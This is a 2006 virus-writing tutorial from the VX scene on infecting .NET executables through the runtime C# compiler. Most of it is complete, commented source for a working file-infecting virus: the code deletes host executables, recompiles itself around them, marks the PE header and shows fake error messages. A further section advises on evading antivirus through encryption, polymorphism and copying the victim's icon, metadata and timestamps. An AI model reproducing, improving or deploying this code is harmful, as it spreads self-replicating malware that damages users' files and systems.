|| Author: DiA/rRlf || Back to articles ||
______________________________________________________________
| |
| Using the .NET runtime compiler for file infection |#
| »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» |#
| |#
| by DiA/RRLF (c)2006 |#
| www.vx-dia.de.vu :: DiA_hates_machine@gmx.de |#
|______________________________________________________________|#
###############################################################
_Overview___________________________________
| |
| 1_Intro |#
| 2_The main idea |#
| 3_My ideas, and what not worked |#
| 4_How it can work |#
| 5_Working source code |#
| 6_Make it strong, further ideas |#
| 7_Outro |#
|____________________________________________|#
#############################################
.Disclaimer
»»»»»»»»»»
The author of this article is NOT responsible for possible damages in case
of informations you getting here. You do your own things at your own risk,
please don't do anything stupid for your own security. This document is for
educational purpose only. If you do NOT agree this, please close this for
your own pleasure!
.1_Intro
»»»»»»»
Hello and welcome to my second article on .NET and C#. Again I got bored of
programming in C++. So, this is again a sidestep in the easy and simple world
of .NET programming. In this tutorial I describe how to infect executables by
using the .NET runtime compiler. Also I provide a workin source code with comments
and ideas/hints how to make a real virus with this technique.
.2_The main idea
»»»»»»»»»»»»»»»
When I played with the runtime compiler, I also checked out all the compiler
options and parameters. Resource files (any kind, .jpg, .doc, .xxx) can be
compiled within the source. And .NET provides a ResourceManager, wich makes
reading resources in .NET files very easy. So the main idea is to compile the
virus every time new when a victim was found, and the victim will be added as
resource. Then on runtime, extract resource and run the host file. To act like
this, the virus must have its own source, to compile. Since .NET executables
(not abused) is like open source (use Reflector) we just don't really care.
.3_My ideas, and what not worked
»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»
I got good ideas before I started coding this example virus, but it turned out
that much don't work very well:
Source as String - I wanted to store the source code of the virus as string in the
virus body. It was much much work, and not really worth it. You
have to care that your source is compiled right (care for " as
example), string max length (in source) is 2046 bytes.
Load host in memory - You can load a .NET assembly (a .exe for example), and invoke
(execute) it in your current running application. This would
be nice, cause you dont have to drop host on disk and run it.
But it turned out that this technique is just fine for stand-
alone application. Try to execute a application linked to
.dll's or other needed files will cause problems or errors.
Anyway, here is the source I tried, host file is in a byte
array:
//...
Assembly HostAsm = Assembly.Load(HostArray); //byte array, .exe
MethodInfo HostMethod = HostAsm.EntryPoint; //main
HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null); //execute
//...
Check for infection - To not re-infect files, we have to check for infection. Good,
as .NET have a ResourceManager, and the already infected files
must have a resource named like we want it. Try to read a byte,
if no error occours the file seems to be infected, error means
no resource named like we have, means not infected. But somehow
I can't close the resource stream when the host resource doesn't
exist. And if the stream is still open, we can't delete the victim
file (nor recompile it). It's mystic that .NET allow to open a
not existing stream, but it's not able to close this stream.
Anyway, improve!
.4_How it can work
»»»»»»»»»»»»»»»»»
So, much don't work as I wanted, improve is the keyword. And improve means going
simple, and use already known techniques. This is how the example virus works:
The virus source is also in the binary as resource, and will be read and drop to
disc when needed. But first the host is read from the resource stream, dropped to
disc, and executed. After termination the temporary host will be deleted. Here goes
the infection (source code is already on disc). The virus find all .exe files in
current directory, copy that file to <filename>.res, delete original victim, and
compile the virus source (in same directory) to the .exe name of the victim. On
compiling it add's the host binary and the virus source as resource. After compilation
the virus writes it's infection marker in the PE header. If something
goes wrong the temp resource file is copied back, to leave host uninfected. Before
infecting the virus also checks if the found .exe is a .NET application and if the
victim is already infected, by checking 4 bytes in the PE header (WIN32_VERSION).
For more details please check the source code in the next section, there are also
comments for helping you to understand what I mean.
.5_Working source code
»»»»»»»»»»»»»»»»»»»»»
using System;
using System.IO;
using System.Reflection;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.Resources;
using System.Diagnostics;
using System.Windows.Forms; //namespaces we use in this virus
namespace Biskin //our namespace
{
class DiA //we use just this one class, simple virus
{
static void Main(string[] args) //our entry point
{
byte[] Marker = {0x42, 0x53, 0x4B, 0x69}; //"BSKi", our infection marker to prevent re-infection
string SourceName = ""; //here we store the extracted source code, we define it here because we handle it in more try/catch then one
Random RanNumber = new Random(DateTime.Now.Millisecond); //to generate random number, user current millisecond as seed
Assembly ThisAsm = Assembly.GetExecutingAssembly(); //the own assembly, to extract the resources (host & source)
try //we use some try/catch blocks in this virus, error handling in c# is nice
{
Stream ResStream = ThisAsm.GetManifestResourceStream("host.bin"); //get the stream for the resource "host.bin"
string HostName = RanNumber.Next(99999).ToString() + ".scr"; //generate a temporary host name, just andom number and .scr extension
FileStream HostTemp = new FileStream(HostName, FileMode.CreateNew, FileAccess.Write); //filestream to write from resource to file
for(int i = 0; i < ResStream.Length; i++) //write byte by byte until we reach end of file
{
HostTemp.WriteByte(Convert.ToByte(ResStream.ReadByte())); //read byte from stream and write it to file
}
HostTemp.Close(); //close file stream
ResStream.Close(); //close resource stream
File.SetAttributes(HostName, FileAttributes.Hidden); //set the temp host to hidden
string HostParameters = " "; //to store host's parameter, drag and drop or called via command line
for(int i = 0; i < args.Length; i++) //for each argument (parameter) given to the virus
{
HostParameters += args[i] + " "; //append it to string and put a space between
}
Process.Start(HostName + HostParameters).WaitForExit(); //start temporary host and wait for it's termination
File.Delete(HostName); //after termination, delete the temporary host
}
catch //error on reading resource or write/run temp host
{
MessageBox.Show("Can't execute application", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); //show fake error then
}
try //try to extract source code
{
Stream SrcStream = ThisAsm.GetManifestResourceStream("biskin.src"); //get stream to resource
SourceName = RanNumber.Next(99999).ToString() + ".cs"; //create temporary source file name, random number
FileStream SourceTemp = new FileStream(SourceName, FileMode.CreateNew, FileAccess.Write); //open filestream for write source to disk
for(int i = 0; i < SrcStream.Length; i++) //write byte by byte
{
SourceTemp.WriteByte(Convert.ToByte(SrcStream.ReadByte())); //read byte from resource and write it to file
}
SourceTemp.Close(); //close file stream
SrcStream.Close(); //close resource stream
}
catch //error on reading/writing source code
{
Application.Exit(); //no source, no infection is possible, exit virus
}
string[] Files = Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe"); //get all .exe files in current directory
foreach(string Victim in Files) //for loop all files in the array
{
try{AssemblyName.GetAssemblyName(Victim);} //easy way to check if founded file is a .NET
catch{continue;} //if no .NET executable, try next file
byte[] IsMarker = new byte[4]; //array where we read the marker
FileStream VictimFile = new FileStream(Victim, FileMode.Open, FileAccess.Read); //open potential vicitm for read
for(int i = 0; i < 136; i++) //skip first bytes
{
VictimFile.ReadByte(); //by reading bytes to nothing
}
VictimFile.Read(IsMarker, 0, Marker.Length); //read now 4 bytes to array
VictimFile.Close(); //and close file stream
//check if readed bytes are our infection marker, if so try next file
if(IsMarker[0] == Marker[0] && IsMarker[1] == Marker[1] && IsMarker[2] == Marker[2] && IsMarker[3] == Marker[3]) continue;
string ResourceFile = Victim.Remove(Victim.Length - 3, 3) + "res"; //create temp file name for the host resource
File.Copy(Victim, ResourceFile); //copy uninfected host to temporary file
File.SetAttributes(ResourceFile, FileAttributes.Hidden); //and set it to hidden
try{File.Delete(Victim);} //try to delete the victim
catch
{
File.Delete(ResourceFile); //if it still run, delete temp resource file
continue; //and leave it uninfected
}
try //action! try to compile virus source with source and host binary as resource
{
ICodeCompiler Compiler = new CSharpCodeProvider().CreateCompiler(); //create compiler
CompilerParameters Parameter = new CompilerParameters(); //and it's parameters
Parameter.GenerateExecutable = true; //we want to create a exe, sure
Parameter.MainClass = "Biskin.DiA"; //the main class, we are now in it
Parameter.OutputAssembly = Victim; //compile output, the victim name (we deleted it already)
//some raw compiler commands, optimize output, make windows application (no command prompt shit)
//and add via "/resource" the host binary (we copy it before) and the virus source (we extracted it before)
Parameter.CompilerOptions = "/optimize /target:winexe /resource:" + ResourceFile + ",host.bin /resource:" + SourceName + ",biskin.src";
foreach(Assembly Asm in AppDomain.CurrentDomain.GetAssemblies()) //lazy style
{
Parameter.ReferencedAssemblies.Add(Asm.Location); //just reference all assemblies we found, so we are sure our virus has all to compile
}
if(Compiler.CompileAssemblyFromFile(Parameter, SourceName).Errors.Count == 0) //compile! and check if no compile errors
{
VictimFile = new FileStream(Victim, FileMode.Open, FileAccess.ReadWrite); //open the freshly compiled executable
for(int i = 0; i < 136; i++) //skip first bytes
{
VictimFile.ReadByte(); //by read bytes to nothing
}
VictimFile.Write(Marker, 0, Marker.Length); //then write our infection marker to WIN32_VERSION in the PE header (unused space)
VictimFile.Close(); //close file stream
}
else //argh, compiler error
{
File.Copy(ResourceFile, Victim); //copy resource file back to real name, and leave it uninfected
}
File.Delete(ResourceFile); //delete reosurce file and handle next file
}
catch{} //any error is redirected here, just do nothing
}
try{File.Delete(SourceName);} //try to delete source file, should work
catch{File.SetAttributes(SourceName, FileAttributes.Hidden);} //if it's still in use just set it to hidden
}
}
} //done.
.6_Make it strong, further ideas
»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»
Sure, the provided source code is just a proof of concept, and not done to stay in
the wild or anything like that. Here are some add's you have to make if you want make
this virus (or your virus) a good one:
Where is my icon?
The icon of the compiled virus (within host) is the default windows application icon,
cause we didn't give the compiler any icon. To prevent this, just extract the icon from
the potential victim (google hint: Code Corner - Tools - Icon Browser), and give it
as compiler parameter "/win32icon:filename". After that delete the extracted icon.
And all is fine.
And where are my file properties?
Also the compiled file don't have any properties, such as Name, Copyright, Trademark,
etc. This is also very simple issue, properties of the file can be read like this:
//...
foreach(object Attribute in Assembly.LoadFrom("Victim.exe").GetCustomAttributes(false)) //check all attributes
{
AssemblyCopyrightAttribute Copyleft = Attribute as AssemblyCopyrightAttribute; //as copyright attribute, as example
if(Copyleft != null) //found copyright attribute?
{
string OldCopyright = Copyleft.Copyright; //the copyright to string
}
} //others can be read in the same way
//...
Then write in the virus source (after used namespaces, before own namespace) this
(don't foget namespaces System.Reflection and System.Runtime.CompilerServices):
//...
[assembly: AssemblyCopyright(OldCopyright)]
//...
Other assembly informations are AssemblyTitle, AssemblyDescription,
AssemblyConfiguration, AssemblyCompany, AssemblyProduct, AssemblyTrademark,
AssemblyCulture.
Filetime?
Also take care for filetime, read filetime of potential victim and set it after
compilation again. Easy, huh?
Detected in < 1min?
This is not a hard take for AV people, cause the plain source is stored. So a good
idea is to encrypt the source code resource. Maybe also with a changing key. .NET
provides also encryption classes like DES or even TripleDES. Also you can encrypt the
host resource, so it can't be easiely cut out of the virus and be restored.
More More More!
Now it's on you, imagin you are at source level, so polymorphism is not a hard take,
also adding garbage is a good idea. Encrypt strings, split source to 100s classes, etc
etc. Use your brain.
.7_Outro
»»»»»»»
Hope you liked this article and the idea how to use the .NET runtime compiler for file
infection. If you do anything in this way, let me know, DiA_hates_machine@gmx.de.
Next time friends, bye.
DiA/RRLF - 23.08.2006